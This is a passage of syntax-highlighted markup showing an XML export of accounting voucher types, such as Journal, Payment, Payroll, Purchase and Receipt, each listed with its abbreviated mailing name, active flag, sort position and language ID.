                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Job Work In Order"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Job Work In Order"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Job Wrk In Ordr<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>No<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 260<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Job Work In Order<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Job Work Out Order"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Job Work Out Order"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Job Wrk Out Ordr<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>No<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 270<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Job Work Out Order<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Journal"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Journal"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Jrnl<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>Yes<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 40<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Journal<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Material In"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Material In"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Mat In<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>No<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 290<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Material In<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Material Out"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Material Out"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Mat Out<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>No<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 280<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Material Out<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Memorandum"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Memorandum"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Memo<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>No<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 150<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Memorandum<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Payment"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Payment"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Pymt<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>Yes<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 20<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Payment<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Payroll"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Payroll"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Pyrl<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>No<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 250<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Payroll<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Physical Stock"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Physical Stock"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Phy Stk<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>Yes<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 130<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Physical Stock<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Purchase"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Purchase"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Purc<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>Yes<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 80<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Purchase<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Purchase Order"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Purchase Order"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Purc Order<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>No<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 180<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Purchase Order<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Receipt"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Receipt"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Rcpt<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>Yes<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 30<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Receipt<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Receipt Note"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Receipt Note"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Rcpt Note<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>No<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 100<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Receipt Note<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Rejections In"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Rejections In"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Rej In<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>No<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 120<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Rejections In<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Rejections Out"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Rejections Out"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Rej Out<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>No<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 110<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
